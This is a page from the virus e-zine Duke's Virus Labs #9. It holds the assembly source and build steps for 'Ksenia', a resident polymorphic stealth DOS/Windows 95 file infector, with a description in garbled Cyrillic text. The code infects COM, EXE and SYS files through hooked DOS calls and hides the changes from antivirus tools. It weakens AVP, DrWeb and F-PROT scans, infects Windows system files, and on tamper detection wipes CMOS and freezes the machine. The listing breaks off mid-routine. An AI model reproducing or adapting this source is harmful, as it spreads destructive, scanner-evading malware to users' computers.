- [Duke's Virus Labs #9] - [Page 09] - Ksenia Final (C) Copyright by Deadman, Russia. E-Mail: dman@mail.ru 騥 ᫮ 室 ஢ ᪨ ᠭ ⮫쪮 樮 楫. ⠥ 樮 ⥬ DOS ᨨ 5.0-7.0 প (LFN) 16- 㭪権. DOS ਫ COM/EXE/SYS ⨯. ஢ ࠡ DOS Win32. ᥤ 訥 , ⠫樨 SYS ࠩ ࠧ頥 אַ DOS kernel (),  UMB 筮 . ࠦ 䠩 ந室 饭 ( DEL). stealth - , 뢠 ᫥ ⢨ 設. ࠡ - ணࠬ (娢஢ - ஢) stealth 㭪樨 ६ ⪫. ࠦ 䠩 뢠 ७ polymorphic engine, ਯ 権, ᯮ 砩 ॣ. ᮪ , , ⨪ ᪠, - ࠢ ஬, ७ ਯ୮ , 㦥 ஢뢠 ⥫쭮. । ᥤ ⠥ ந஢ ணࠬ, 㧪 . १ 楤, ⠩ 㤠 ᭮ ࠡ稪 DOS 뢠 饩 楯窨. ⪥ ஢ ( 砥, ᫨ CRC32 ), 設 ( MD), । ⨬ (CMOS) 㦭 . ⨨ DOS ୮ 墠- 뢠 DOS ⮣, ⮡ । ⨢ ( ᤥ ⬮ ࠢ ). - ணࠬ ᪥ ⨢ᮢ - ப ࠬ ⪫祭 ஢ (᪮ ᢮ 殮 ᨣ). [AVP/FP/DRWEB] 祣 ࠦ 䠩 ஬ "- Ok" ⠪ ᬮ ᪠. ࠦ- 䠩 ࠢ ६ ᮧ ⮣ 䠩 ⥪饥 ६, ᫨ ᮢ ᮢ, ஥ 䠩 । ࠢ- ᫥饬 ࠡ稪 뢠. 窨 , ࠭ /६, 뢠/࠭ ਡ 䠩 墠뢠 뢠 ᪮ 訡 Int 24h 03 (Fail). ६ ⠫樨 ॣ 8086 ࠭ ⥪ । ࠢ ⠭ 㤠. 类 ⨯ -஢ -, ⮬ ⭨ - ⮫쪮 ६ 砥 ਭ ॡ㥬 १ ( 樨 200 ਥ ). ࠦ ॣ஢ ⨯ 䠩 (⨯ COMMAND ADINF) ⠫: ᮪ 墠뢠 㭪権 뢠 21h ࠦ 䠩: 3Dh/1857h/41h/43h/4Bh/56h/6C00h/7141h/7143h/7156h/716Ch/71A9h (Open/Internal/Unlink/CHMOD/Exec/Ren/ExtOpen/LFNs/../ServerOpen) ᮪ 墠뢠 㭪権 뢠 21h ॠ樨 stealth: 11h/12h/4Eh/4Fh/714Eh/714Fh/71A6h/57h/42h/3Fh/40h (FCB/DTA/LFN Find/GetHandleInfo/FileTimeDate/Seek/Read/Write) ᮪ 墠뢠 㭪権 뢠 21h ॠ樨 SFT stealth: 3Dh/6C00h/716Ch/71A9h+ 㭪樨 ࠡ ਯ஬ 䠩 㦥 㭪樨: 1856h/4Ah (Residency check/-墠 Int 21h) ࠦ 䠩 ⠫樨 : %WINBOOTDIR%\SYSTEM\CONAGENT.EXE %WINBOOTDIR%\COMMAND\MODE.COM %WINBOOTDIR%\COMMAND\ANSI.SYS %WINBOOTDIR%\HIMEM.SYS %WINBOOTDIR%\WIN.COM ⪫祭 stealth: PKZIP/RAR/ARJ/LHA/ARC/UUENCODE/DEFRAG/SPEEDISK/SCANDISK/CHKDSK/NDD/ADINF ஢ 䠩 ࠦ: COMMAND/ADINF ࠬ஢ ப AVPDOS32 /M DRWEB /NM F-PROT /NOMEM ஢ 5000 ⮬ ᪠ ࠩ ⥫쭮. , ⪮஢ COM 䠩 : tasm ksenia.asm /m3 tlink ksenia.obj /x/t ⮬ , . ===== Cut here ===== vsize equ eov-ksenia ; ᪮ msize equ eom-ksenia ; ࠧ ॡ㥬 v_id equ 0b52dh ; ⪠ (HEADER+12h) b equ ; ᮪饭 w equ d equ o equ mvs macro Dest,Sour ; 뫪 push Sour ; १ ⥪ pop Dest endm model tiny ; codeseg p386 org 100h ksenia: xor bp,bp ; 㦭 1- ᪠ call crc ; CRC mov checksum,eax call SaveRegs ; ࠭ 室 ॣ஢ jmp shield ; CRLEN १ࢨ஢ ⥫ org ksenia+crlen ; 䭮 push 3202h ; ⠭ 䫠 popf call SaveRegs ; ࠭ 室 ॣ஢ mov ah,30h ; ᨨ DOS int 21h ; ਬ ᫥ ip: mov bp,sp ; ᬥ饭 ࠦ 䠩 mov bp,[bp-6] ; ࠭ IP INT sub bp,offset ip ; 塞 ࠧ ᬥ饭 (delta) push ds ; ᮪ mvs ds,0ffffh ; ஢ mov si,07h ; FFFF:0005 ᮤন , ன mov dx,2eh ; 墠⠥ ᨬ "/", XOR xor dl,[si] ; 砥 pop ds lea si,endi-1+bp ; ஥ (७) mov cx,endi-shield-1 turbo: mov al,cs:[si] ; ⪠ : add cs:[si-1],al ; : byte1 byte2 byte3 byte4 sub si,dx ; : b1+b2 b2+b3 b3+b4 b4+b5 loop turbo shield: cmp cs:host+bp,"S" ; ஢ઠ ⥬ jz strategy ; ࠩ mov ax,1856h ; ஢ઠ ⢨ int 21h ; AH=18 - 㭪 cmp ax,3265h ; AX=3265 - , 㦥 jne exeinstall ; ; 饭 ࠢ ணࠬ complete: lea si,original+bp ; si-࠭ 砫 mov al,cs:host+bp ; 㧪 ⨯ cmp al,"S" ; ⥬ ࠩ? jz run_sys cmp al,"E" ; ᯮ塞 䠩? jz run_exe mov di,100h ; ⨯ ࠦ ணࠬ: COM push di ; ࠭ ⥪ mov cx,32 ; ⠭ ਣ쭮 rep movsb ; ணࠬ jmp LoadRegs ; । ࠢ 砫 ணࠬ run_sys: mov ax,cs:[si+12h] ; ⠭ ⪨ mov cs:[12h],ax ; ⠭ ᬥ饭 楤 mov ax,cs:[si+06h] ; ࠡ⪨ ⥣ mov cs:[06h],ax ; push ax ; ࠭ ᬥ饭 ⥪ jmp LoadRegs ; ⠭ ॣ஢ run_exe: mov ax,es add ax,010h add cs:[si+16h],ax ; .reloc add cs:[si+0eh],ax ; .reloc mov bp,sp mov [bp.rbx],si ; ࠭ 㪠⥫ call LoadRegs ; ⠭ ॣ஢ mov ss,cs:[bx+0eh] ; ⠭ ⥪ ᥣ mov sp,cs:[bx+10h] ; ⠭ 㪠⥫ ⥪ jmp d cs:[bx+14h] ; । ࠢ ; ⠫ 䠩 exeinstall: mov di,100h ; ES:DI = PSP:0100 mvs ds,cs ; DS:SI = lea si,ksenia+bp ; 㥬 ࠦ mov cx,msize ; ணࠬ ࠧ ᫥ PSP db 6ah,00h ; 㦠 ⥪ db 66h,68h ; ஢ db 0f3h,0a4h,0cah,6 push es offset done ; rep movsb / retn 06 mov ax,sp add ax,4 jmp far ptr ax done: mov ax,cs ; , ࠢ mov ds,ax ; ᬥ饭, 樨 mov seg0,ax ; ᥣ EPB mov seg1,ax mov seg2,ax call VectMan ; 㧪 墠 ஢ 뢠 call FixVirus ; ࠦ 䠩 mov ah,4ah ; 㬥 㦭 ࠧ mov bx,(msize+100h)/16+2 ; , 뤥 ணࠬ mvs es,cs int 21h mov si,2ch ; PSP:2Ch = ᥣ 㦥 mov ds,[si] ; DS xor ax,ax mov si,-1 escan: inc si ; ᪠ DW 0 cmp W [si],ax ; ᫥ 䠩 (ணࠬ), jne escan ; ன 襭 lea dx,[si+4] ; dx -> mov ax,cs ; ந樠㥬 ⥪ 㪠⥫ mov ss,ax ; - // lea sp,stacks+size stacks mov ax,4b00h ; ᪠ ⥫ lea bx,epb ; ES:BX = EPB int 21h mov si,2ch mov es,cs:[si] ; 祭 ᥣ 㦥 mov ah,49h ; ᢮ int 21h mov ax,cs ; ᪨㥬 ⠪, dec ax ; ᮤন ⮫쪮 PSP. ᥡ mov ds,ax ; ந 㣮 , ᫥騩 xor si,si ; אַ PSP. 襭 ணࠬ mov al,4dh ; 㤥 ᢮. xchg B [si],al mov W [si+3],0fh ; MCB  ।⠢ mov B [si+100h],al ; ப (PSP+0F0h) mov W [si+101h],8 ; mov W [si+103h],msize/16+2 mov ah,4dh ; AH=4Dh (WAIT) int 21h ; ErrorLevel 饭 ணࠬ mov ah,4ch ; AH=4Ch (EXIT) int 21h ; DOS 直 ७ ; ⠫ .SYS 䠩 Strategy: mvs ds,cs ; 樠 ᥣ⭮ ॣ mov si,sp ; 㧪 㪠⥫ mov bx,ss:[si.rbx] ; ⥪ mov es,ss:[si.res] ; lea si,reqhdr+bp mov [si],bx ; ࠭ 㪠⥫ 祩 mov [si+2],es ; ⥫ jmp complete ; । ࠢ ࠩ Interrupt: call SaveRegs ; ࠭ ॣ஢ mov ah,30h ; ᨨ DOS int 21h ; ਬ ᫥ ipX: mov bp,sp ; ᬥ饭 ࠦ 䠩 mov bp,[bp-6] ; ࠭ IP INT sub bp,offset ipX ; 塞 ࠧ ᬥ饭 (delta) mvs ds,cs ; 樠 DS lea si,original+bp ; 㪠⥫ ਣ쭮 lea di,intcall+bp ; 砫 ࠩ mov ax,[si+08] ; 㧪 ᬥ饭 楤 mov ds:[08],ax ; 뢠 ࠭ ᬥ饭 mov [di],ax ; 祩 ᮬ 楤 뢠 mov [di+02],cs ; ࠩ lea bx,reqhdr+bp ; 㪠⥫ les bx,[bx] ; 㧪 mov ax,es:[bx.0eh] ; ᬥ饭 , 㯭 ࠩ shr ax,4 ; 祭 ᥣ⭮ ⮢饩 ᬥ饭 add ax,es:[bx.10h] ; ᥣ sub ax,msize/10h+2 ; 㬥襭 㯭 ࠩ mov w es:[bx.0eh],0 ; ᬥ饭 ᫥ 㯭 mov es:[bx.10h],ax ; ᥣ ᫥ 㯭 sub ax,10h ; AX - ᥣ mov es,ax ; ࠭ ᥣ mov di,100h ; ॣ ᮪ lea si,[di+bp] ; 襭 ࠩ mov cx,msize cld rep movsb push es o tmps ; । ࠢ ᥣ retf tmps: call LoadRegs ; ⠭ ॣ஢ call d cs:intcall ; 맮 ࠩ (㭪 00: 樠) call SaveRegs ; ࠭ ॣ஢ mov ax,1856h ; ஢ઠ ⢨ int 21h ; AH=18 - 㭪 cmp ax,3265h ; AX=3265 - , 㦥 jz sfars ; mvs ds,cs ; 樠 ᥣ⭮ ॣ les bx,d reqhdr ; mov ax,es:[bx.0eh] ; ᬥ饭 , 㯭 ࠩ shr ax,4 ; 祭 ᥣ⭮ ⮢饩 ᬥ饭 add ax,es:[bx.10h] ; ᥣ cmp ax,intcall+2 ; ᥣ ࠩ jz sfars ; १ ࠩ? inc ax ; + 1 ࠣ push ax ; ࠭ add ax,msize/10h+2 ; 㢥祭 ࠭ mov w es:[bx.0eh],0 ; ᬥ饭 ᫥ 㯭 mov es:[bx.10h],ax ; ᥣ ᫥ 㯭 pop ax ; 㦥 ࠭ sub ax,10h ; AX - ᥣ mov es,ax ; ࠭ ᥣ mov di,100h mov si,di mov cx,msize ; ஢ ⥫ cld ; ६ ᥣ ⥫ rep movsb push es offset owns ; । ࠢ ⥫ retf ; ᥣ ᫥ ࠩ owns: call VectMan ; 㧪 墠 ஢ 뢠 sfars: call LoadRegs ; 㧪 ॣ஢ retf ; copyright db 'Ksenia.' db vsize/1000 mod 10+'0' db vsize/100 mod 10+'0' db vsize/10 mod 10+'0' db vsize mod 10+'0' db ' Final Version Copyright (C) ',??date,' by Deadman',0 extens db '.com',0 ; ७ 䠩, db '.exe',0 ; 㥬 db '.sys',0 db 0 prms db 'AVPDOS32',0,0,' /M' ,0dh db 'DRWEB' ,0,0,' /NM' ,0dh db 'F-PROT' ,0,0,' /NOMEM',0dh db 0 AVs db 'ADINF',0 ; ண 㤥 db 'COMMAND',0 db 0 windows db 'WiNBooTDiR=',0 db 0 files db '\SYSTEM\CONAGENT.EXE',0 db '\COMMAND\MODE.COM',0 db '\COMMAND\ANSI.SYS',0 db '\HIMEM.SYS',0 db '\WIN.COM',0 db 0 stlock db 'PKZIP',0 ; ணࠬ, ६ ࠡ db 'RAR',0 ; ⪫ ⥫-㭪樨 db 'ARJ',0 db 'LHA',0 db 'ARC',0 db 'UUENCODE',0 db 'DEFRAG',0 db 'SPEEDISK',0 db 'SCANDISK',0 db 'CHKDSK',0 db 'NDD',0 db 'ADINF',0 db 0 funcs dw 1856h,tsrtest ; ஢ઠ ࠦ (NULL) dw 4AFFh,rehook ; re-墠 (SETBLOCK) dw 3DFFh,infect ; ࠦ (OPEN) dw 1857h,infect ; ࠦ (VIXFIRUS) dw 41FFh,infect ; ࠦ (DEL) dw 43FFh,infect ; ࠦ (CHMOD) dw 4BFFh,infect ; ࠦ (EXEC) dw 56FFh,infect ; ࠦ (REN) dw 6C00h,extinfect ; ࠦ (EXTOPEN) dw 7141h,infect ; ࠦ (LFN DEL) dw 7143h,infect ; ࠦ (LFN CHMOD) dw 7156h,infect ; ࠦ (LFN REN) dw 716Ch,extinfect ; ࠦ (LFN OPEN) dw 71A9h,extinfect ; ࠦ (LFN SERVER OPEN) dw 11FFh,fcbstealth ; ⥫ (FCB) dw 12FFh,fcbstealth ; ⥫ (FCB) dw 4EFFh,dtastealth ; ⥫ (DTA) dw 4FFFh,dtastealth ; ⥫ (DTA) dw 714Eh,lfnstealth ; ⥫ (LFN) dw 714Fh,lfnstealth ; ⥫ (LFN) dw 71A6h,infstealth ; ⥫ (LFN HANDLE INFO) dw 5700h,date_get ; ⥫ (GET DATE) dw 5701h,date_set ; ⥫ (SET DATE) dw 42FFh,seekstealth ; ⥫ (LSEEK) dw 3FFFh,readstealth ; ⥫ (READ) dw 40FFh,diswrite ; ⥫ (WRITE) dw 3EFFh,patchsft ; ४஢ SFT dw 44FFh,patchsft ; ४஢ SFT dw 45FFh,patchsft ; ४஢ SFT dw 46FFh,patchsft ; ४஢ SFT dw 68FFh,patchsft ; ४஢ SFT dw 0 ; ࠡ稪 뢠 08 (Virus Guard) vguard: call SaveRegs ; ࠭ ॣ஢ inc cs:delay ; ஢ઠ 㤥 ந室 ਬ୮ cmp cs:delay,18 ; ᥪ㭤 jb exit_guard mov cs:delay,0 call crc ; CRC ⥫ cmp cs:checksum,eax ; ࠢ ⠫ jz crc_ok mov ax,1681h ;  砫 DOS Critical Session int 2fh ; mov al,0ffh ; ஫ 뢠: out 21h,al ; 饭 뢠 mov cx,40h ; ࠥ CMOS cmos: mov ax,cx out 71h,al out 70h,al loop cmos jmp $ ; ᨬ 設 crc_ok: mov ax,1856h ; ஢塞, 모뢠 int 21h ; ࠡ稪 21- 뢠 饩 cmp ax,3265h ; 楯? je exit_guard mov ax,3521h ; int 21h int 21h call set_dup ; ⠭ 21- 뢠 㣮 lea dx,manager ; 㦭 ⠭ call chk_dup ; 室 , 㤠 㪠뢠 jnz reset ; ᫥ ᢮ lea dx,handler reset: mov ax,2521h ; ⠭ mvs ds,cs int 21h exit_guard: call LoadRegs jmp d cs:io08 ; ࠡ稪 뢠 21 handler: call chk_dup ; ஢ઠ, ⠭ jz manager ; 뢠 ᫥ 㧪 Win95 jmp D cs:io21p ; 祬 manager: call SaveRegs ; ࠭ ॣ mov cs:save_ax,ax ; ᮮ࠭ ࠬ஢ mov cs:save_bx,bx ; ᯮ짮 (Filename), ᫨ mov cs:save_es,es ; 㭪 = 4b00 ᪠ 䠩 - AV lea si,funcs ; ⠡窠, ன ࠡ뢠 fscan: cmp ah,cs:[si+1] ; 㦭 㭪樨 int 21 (dw F#, dw offset) jne lnext ; ࠢ al ⥪饩 祩 ⠡ cmp B cs:[si],0ffh ; ஢ઠ 㦭 ஢ન 㭪樨 je ljump cmp B cs:[si],al ; ஢ઠ 㭪樨 jne lnext ljump: call mcbcheck ; 㭪 : ஢ઠ MCB ( stealth) push W cs:[si+2] ; ६ ᬥ饭 ࠡ稪 㭪樨 jmp LoadRegs ; ⠭ ॣ lnext: add si,4 ; ६ ᫥ ⠡ cmp w cs:[si],0 ; ஢ઠ ⠡ jnz fscan call LoadRegs ; ࠡ稪 ⮩ 㭪樨 ⠪ jmp ExitHandler ; : ⤠ ࠢ exithandler: push ax ax es bx bp ; ࠭ ES:BX १ࢨ஢ call get_dup ; 祭 ਣ쭮 int 21h mov bp,sp mov [bp+6],bx ; ᢮ 祩 mov [bp+8],es ; ⥪ pop bp bx es ; ⠭ ॣ஢ ES:BX retf ; । ࠢ DOS ireturn: retf 2 ; 㭨⮦ 䫠 ⥪ ; ࠦ 䠩 extinfect: call SaveRegs ; ࠭ ⥪ ॣ mov dx,si jmp InfA infect: call SaveRegs ; ࠭ ⥪ ॣ InfA: call Hook24 ; ⠭ 24- 뢠 call Filename ; ஢ઠ ७ 䠩 jc noinf call ClearFileAttributesA jc noinf call CreateFileA ; ⨥ 䠩 R/W jc RAttr call Infect_Handle ; ஢ handle call CloseFile ; ⨥ 䠩 Rattr: call RestoreFileAttributesA Noinf: call Remove24 ; ⠭ ࠡ稪 int 24h call LoadRegs ; ⠭ ॣ஢ cmp ah,3dh ; ஢ઠ 㭪 䠩 je sftstealth ; 砥 ஢ 䠩 cmp ax,6c00h ; 㬥 je sftstealth ; SFT ⪮४஢ cmp ax,716ch ; je sftstealth ; cmp ax,71A9h ; je sftstealth ; jmp exithandler ; ; SFT stealth sftstealth: call int21 ; 㦭 䠩 call SaveRegs ; ࠭ ॣ஢ jc no_sft xchg ax,bx call CloseSFT ; SFT no_sft: call LoadRegs jmp ireturn ; FCB stealth fcbstealth: call int21 ; 맢 㭪 DOS call SaveRegs ; ࠭ ॣ஢ cmp al,0ffh ; -? jz no_fcb cmp cs:stf,0 ; ࠡ ? jnz no_fcb mov ah,2fh ; DTA call int21 cmp b es:[bx],0ffh ; ७ FCB? jne usual add bx,7 usual: lea si,[bx+19h] ; si -> 䠩 lea di,[bx+1dh] ; di -> 䠩 call sizst ; ⨥ 譨 no_fcb: call LoadRegs ; ⠭ ॣ஢ jmp ireturn ; DTA stealth dtastealth: call int21 ; 맢 㭪 DOS call SaveRegs ; ࠭ ॣ஢ jc no_dta ; 諨? cmp cs:stf,0 ; ࠡ ? jnz no_dta mov ah,2fh ; DTA call int21 lea si,[bx+18h] ; si -> 䠩 lea di,[bx+1ah] ; di -> 䠩 call sizst ; ⨥ 譨 no_dta: call LoadRegs ; ⠭ ॣ஢ jmp ireturn ; Win95 stealth infstealth: stc ; CF ⠭ call int21 ; 맢 㭪 DOS call SaveRegs ; ࠭ ॣ஢ jc no_win ; ok? cmp cs:stf,0 ; ࠡ ? jnz no_win mov ax,0 ; ६ Win95 ଠ mov si,dx lea di,[si+24h] ; ࠧ 䠩 lea si,[si+14h] ; 䠩 mvs es,ds jmp allw95 lfnstealth: call int21 ; 맢 㭪 DOS call SaveRegs ; ࠭ ॣ஢ jc no_win ; 諨? cmp cs:stf,0 ; ࠡ ? jnz no_win mov ax,si ; ଠ ६ lea si,[di+14h] ; 䠩 lea di,[di+20h] ; ࠧ 䠩 allw95: cmp ax,1 ; ஢ઠ ଠ ६ jz dos_date push si di ax ; ࠭ ࠬ஢ 饥 mov ax,71a7h ; ॢ ६ ଠ mov bl,0 ; Win95 ଠ DOS mvs ds,es ; SI 㪠뢠 call int21 ; ᥩ CX:DX ᮤঠ 筮 DOS ६ pop ax di si ; ⠭ ࠬ஢ mov [si],cx ; ࠭ ࠬ஢ FindDataRecord mov [si+2],dx dos_date: add si,2 ; si -> 䠩 call sizst ; di -> 䠩 sub si,2 cmp ax,1 ; ஢ઠ ଠ ६ jz no_win mov ax,71a7h ; ॢ ६ ଠ mov bl,1 ; DOS ଠ Win95 mov di,si ; DI -> buffer ६ mov cx,[di] ; ⥭ ६ ଠ DOS mov dx,[di+2] call int21 ; ᥩ ES:[DI] ᮤন ६ Win95 no_win: call LoadRegs ; ⠭ ॣ஢ jmp ireturn ; DATE stealth date_get: call OpenSFT ; SFT cmp cs:stf,0 ; ࠡ ? jnz no_seek call int21 ; call hidestm ; ᪨஢ clc jmp seek_ret date_set: call OpenSFT ; SFT call int21 ; ⠭ call correctdate ; ࠢ jmp seek_ret ; LSEEK stealth seekstealth: call OpenSFT ; SFT cmp cs:stf,0 ; ࠡ ? jnz no_seek call ioctl ; ஢ઠ 䠩 IOCTL jc no_seek call Inf_Check ; ஢? jnc no_seek push cx ; ࠭ CX cmp al,2 ; ஢ઠ ⨯ jne forw sub dx,vsize ; ᪨஢ 饣 䠩 sbb cx,0 ; ᤢ forw: call int21 ; ⠭ 㪠⥫ 砫 pop cx ; ⠭ CX jc seek_ret ; ⥪饩 樨 call seekhide ; ஢ lseek ⥫ mov ax,cs:seek_pos mov dx,cs:seek_pos+2 jmp seek_ret no_seek: call int21 ; 맮 DOS seek_ret: call CloseSFT ; SFT jmp ireturn ; READ stealth readstealth: call OpenSFT ; SFT cmp cs:stf,0 ; ࠡ ? jnz no_seek call ioctl ; ஢ઠ 䠩 IOCTL jc no_seek call Inf_Check ; ஢? jnc no_seek call SeekSave ; ࠭ 樨 㪠⥫ call int21 ; ⥭ jc seek_ret call SaveRegs ; ࠭ ॣ஢ mov di,dx ; 㡫஢ ᬥ饭 mov cs:nrbytes,ax ; ⢮ ⠭ cmp d cs:seek_pos,32 ; ? jae zone call crload ; 饥 砫 䠩 lea si,buffer ; SI -> 饥 砫 add si,cs:seek_pos ; SI -> ⥬ ᬥ饭 ⥭ mov cx,cs:nrbytes ; ⠥ ⢮ 㦭 add cx,cs:seek_pos ; ⥫ cmp cx,32 ; ⥭ । jbe $+5 ; ࠭ 砫 䠩? mov cx,32 sub cx,cs:seek_pos jcxz zone ; 砥 ⥭ 0 rhide: mov al,cs:[si] ; ஢ 砫 䠩 mov [di],al ; ਣ쭮 inc si inc di loop rhide zone: call seekhide ; 㥬 lseek call LoadRegs ; + 㬥襭 ᫠ ⠭ mov ax,cs:nrbytes ; jmp seek_ret ; ALL HANDLER stealth patchsft: call OpenSFT ; SFT jmp no_seek ; WRITE stealth diswrite: call OpenSFT ; SFT cmp cs:stf,0 ; ࠡ ? jnz no_seek call ioctl ; ஢ઠ 䠩 IOCTL jc no_seek call Inf_Check ; ஢? jnc no_seek call SaveRegs ; ࠭ ॣ஢ call SeekSave ; ࠭ 樨 㪠⥫ mvs ds,cs ; DS=CS call crload ; 㧪 ਣ쭮 砫 call seek2bof ; 㪠⥫ 砫 䠩 mov cx,32 ; ਣ쭮 䠩 lea dx,buffer call write xor cx,ax ; 訡? ⮣ ⮣, jnz disfail ; 祣 訡 㤥 ⮦! mov cx,-1 ; . .. mov dx,-vsize ; ࠦ ணࠬ call seekfrom_eof mov ah,40h ; १ 䠩 xor cx,cx ; 㤠塞 ⥫ ᮭ⥫ call int21 mov ah,68h ; 뢠 call int21 disfail: call RestoreSeek ; ⠭ 樨 㪠⥫ call LoadRegs ; ⠭ ॣ஢ jmp no_seek ; 室 ; ஢ઠ ஢ tsrtest: mov ax,3265h ; Hi, AX=3265 jmp ireturn ; 墠 int 21h rehook: call SaveRegs ; ࠭ ॣ஢ call chk_dup ; ஢ઠ, 㦥 jnz no_hook ; ⠭ call WinOldAp ; ஢ઠ, - cmp ax,cs:w95state ; ⠫樨 jz no_hook ; (뫠 㦥 Win95) mov ax,3521h ; 祭 int 21h int 21h mov ax,2521h ; ⠭ 뢠 lea dx,manager mvs ds,cs int 21h call set_dup ; ࠭ 㣮 祩 IVT no_hook: call LoadRegs ; ⠭ ॣ஢ jmp exithandler ; > SUBROUTINES < ; 㧪 墠 ஢ 뢠 VectMan: call SaveRegs ; ࠭ ॣ஢ mvs ds,cs ; 樠 ᥣ⭮ ॣ call WinOldAp ; 祭 ⠫樨 WinOldAp mov w95state,ax ; ࠭ 䫠 mov ax,3521h ; AH=35 AL=INT# - 㭪 祭 int 21h ; 뢠 AL mov io21p,bx ; ࠭ 祩 mov io21p+2,es call set_dup ; ⠭ 21- 뢠 㣮 mov ax,2521h ; ⠭ ᢮ ࠡ稪 lea dx,handler ; 뢠 int 21h mov ax,3508h ; 뢠 int 21h mov io08,bx ; ࠭ 祩 mov io08+2,es mov ax,2508h ; ⠭ 뢠 08h (⠩) lea dx,vguard ; ஢ન 楫⭮ int 21h call LoadRegs ; ⠭ ஢ ret get_dup: push ds si ; 㧪 ॣ஢ ES:BX ਣ mvs ds,0 ; ஬ 21- 뢠 mov si,63h*4 mov bx,[si] mov es,[si+2] pop si ds ret set_dup: push ds si ; ࠭ ES:BX 63- mvs ds,0 ; 뢠 mov si,63h*4 mov [si],bx mov [si+2],es pop si ds ret chk_dup: push ds si eax ; ஢ઠ 63- mvs ds,0 ; 뢠 mov si,63h*4 mov eax,[si] cmp d cs:io21p,eax pop eax si ds ret ; ஢ઠ ⨢ Win95 (ᯮ WinOldAp) WinOldAp: mov ax,1700h ; 㭪 WinOldAp Installation Check int 2fh ; ணࠬ, Win95 ret ; 32-ࠧ來 ० PE ଠ ; ࠦ 䠩 ; ᯮ STACKS ⢥ 䠩 FixVirus: call SaveRegs ; ࠭ ॣ஢ mov si,2ch ; ᬥ饭 2C PSP ࠭ ᥣ mov ds,cs:[si] ; 㦥 xor si,si ; ⮢ ᪠஢ 㦥 mvs es,cs ; ES:DI -> ࠬ 㦥 winbootdir lea di,windows FxD: call compare ; ࠢ 蠡 winbootdir jz FxedI ; 祩 㦥 DS:SI cmp w [si],0 ; ஢ઠ 砭 jz FxOUT ; ࠬ஢ inc si ; 㢥祭 㦥 jmp FxD ; ᪠ FxedI: lodsb ; ⮫쪮 横, ᢥ JZ xor al,'=' ; 砭 ६ jnz FxedI ; '=' mov ah,60h ; "TRUENAME" - CANONICALIZE FILENAME OR PATH lea di,stacks ; DS:SI - ४ MD, ES:DI - int 21h lea di,stacks ; DI - १ mvs ds,cs ; ⠭ DS ᥣ xor al,al ; १ mov cx,256 ; ࠩ 256- cld repne scasb jnz FxOUT ; 室 砥 訡 dec di ; DI 㪠뢠 ४ਨ cmp b [di-1],'\' ; ஢ઠ \\ jnz $+3 dec di mov bx,di ; 㡫஢ 㪠⥫ lea si,files ; SI 㪠뢠 ᯨ᮪ 䠩 䥪 FxVI: cmp b [si],0 ; ? jz FxOUT ; ⮬ 砥 室 mov di,bx ; ஢ । lodsb ; stosb or al,al jnz $-4 mov ax,1857h ; 맮 ७ 㭪樨 lea dx,stacks ; ஢ 䠩 DS:DX int 21h jmp FxVI ; ᫥騩 䠩 FxOUT: call LoadRegs ; ⠭ ॣ஢ ret ; Open/Close SFT - ணࠬ / ଠ쭮 SFT OpenSFT: call SaveRegs ; ࠭ ॣ஢ mov si,0 ; "Open" jmp Manipulate CloseSFT: call SaveRegs ; ࠭ ॣ஢ mov si,1 ; "Close" Manipulate: mov bp,bx ; ࠭ handle call ioctl ; ஢ઠ, 䠩 chardevice jc SFT_Error mov ax,1220h ; 祭 JFT ⮣ 䠩 int 2fh jc SFT_Error xor bx,bx mov bl,es:[di] ; BL = System file entry cmp bl,0ffh je SFT_Error mov ax,1216h ; 祭 SFT ES:DI int 2fh jc SFT_Error mov bx,bp ; ⠭ handle call Inf_Check ; ஢ઠ ஢ 䠩 jnc SFT_Error ; 室 砥 ⮣ 䠩 mov eax,vsize cmp si,0 ; "Open"? jz open neg eax open: add es:[di+11h],eax ; ࠭ SFT ࠧ mov dx,es:[di+0fh] ; 祭 䠩 call hidestm ; ⨥ 譨 100 cmp si,0 ; "Open"? jnz clsft ror dh,1 ; 㢥祭 䠩 add dh,100 rol dh,1 clsft: mov es:[di+0fh],dx ; ࠭ SFT_Error: call LoadRegs ; ⠭ ॣ஢ ret ; size stealth ; ES:SI -> 䠩 ; ES:DI -> 䠩 sizst: mov dx,es:[si] ; dx = 䠩 call hidestm ; ᪨஢ ஢ઠ 100 譨 jnc oklen ; 䠩 ஢? mov W es:[si],dx ; ⠭ ଠ 䠩 sub W es:[di],vsize ; ᪨஢ 饭 䠩 sbb W es:[di+2],0 oklen: ret hidestm: push dx ; ࠭ ⥪ shr dh,1 ; 䠩 cmp dh,100 ; ࠢ 100 pop dx ; ⠭ jb okinf ror dh,1 ; 䠩 sub dh,100 ; 譥 rol dh,1 ; stc ; 䠩 ࠦ! ret okinf: clc ret correctdate: mov ax,5700h ; ⠭ 䠩 ᨬ call int21 ; ⮣, ࠦ call HideStm ; ଠ쭠 call Inf_Check ; ஢ 䠩 ࠦ jnc okdat ror dh,1 add dh,100 rol dh,1 okdat: mov ax,5701h ; ⠭ ⪮४஢ call int21 ; 䠩 ret ; ஢ઠ 䠩 (AVs) ; ஢ઠ ७ 䠩 (Extens) ; SAVE_AX=4B00 ࠬ஢ cmdline Filename: call SaveRegs ; ࠭ ॣ஢ cld mov si,dx ; ᬥ饭 ॣ nfind: lodsb ; 䠩 cmp al,':' ; 襬 砥 㤥 ᫥ jz separ ; ᫥ "/", "\", ":" cmp al,'\' jz separ cmp al,'/' jnz store separ: mov dx,si ; ࠭ ᬥ饭 store: or al,al ; ஢ઠ ப (0) jnz nfind mov si,dx ; SI -> 䠩 xor di,di ; ७ gext: lodsb cmp al,'.' ; ७? jnz $+4 mov di,si or al,al jnz gext or di,di ; ᫨ 祪 䠩 jz Bad_File ; 㦥 뫮 lea bp,[di-1] ; ᥩ BP-७ 䠩, DX- mvs es,cs ; ES=CS cmp cs:save_ax,4b00h jne no_add mov si,dx ; SI -> 䠩 lea di,prms ; ⠡窠 (ଠ: avname,0,0,cmdline,0dh) scancmd: call compare ; ࠢ ᪠ ணࠬ jz addprm ; ।ᬮ७ ⠡ mov al,0dh mov cx,0ffffh repne scasb cmp b cs:[di],0 ; ⠡? jnz scancmd ; ⠡ - 饭 jmp no_add ; 㣠 ணࠬ addprm: push es ; ࠭ ES mov al,0 mov cx,0ffffh repne scasb lea si,[di+1] les bx,d cs:save_bx ; 㧪 ES:BX EPB les bx,es:[bx+2] ; 㧪 ப ES:BX mov di,bx getdx: inc di ; ᪠㥬 ப cmp b es:[di],0dh ; ப? jnz getdx mov cx,-1 ; 稪 ⥫쭮 ࠬ lods b cs:[si] ; 㧪 ࠬ stosb ; ࠭ ࠬ inc cx ; 㢥祭 稪 cmp al,0dh ; ஢ઠ 砭 ࠬ jnz $-6 add 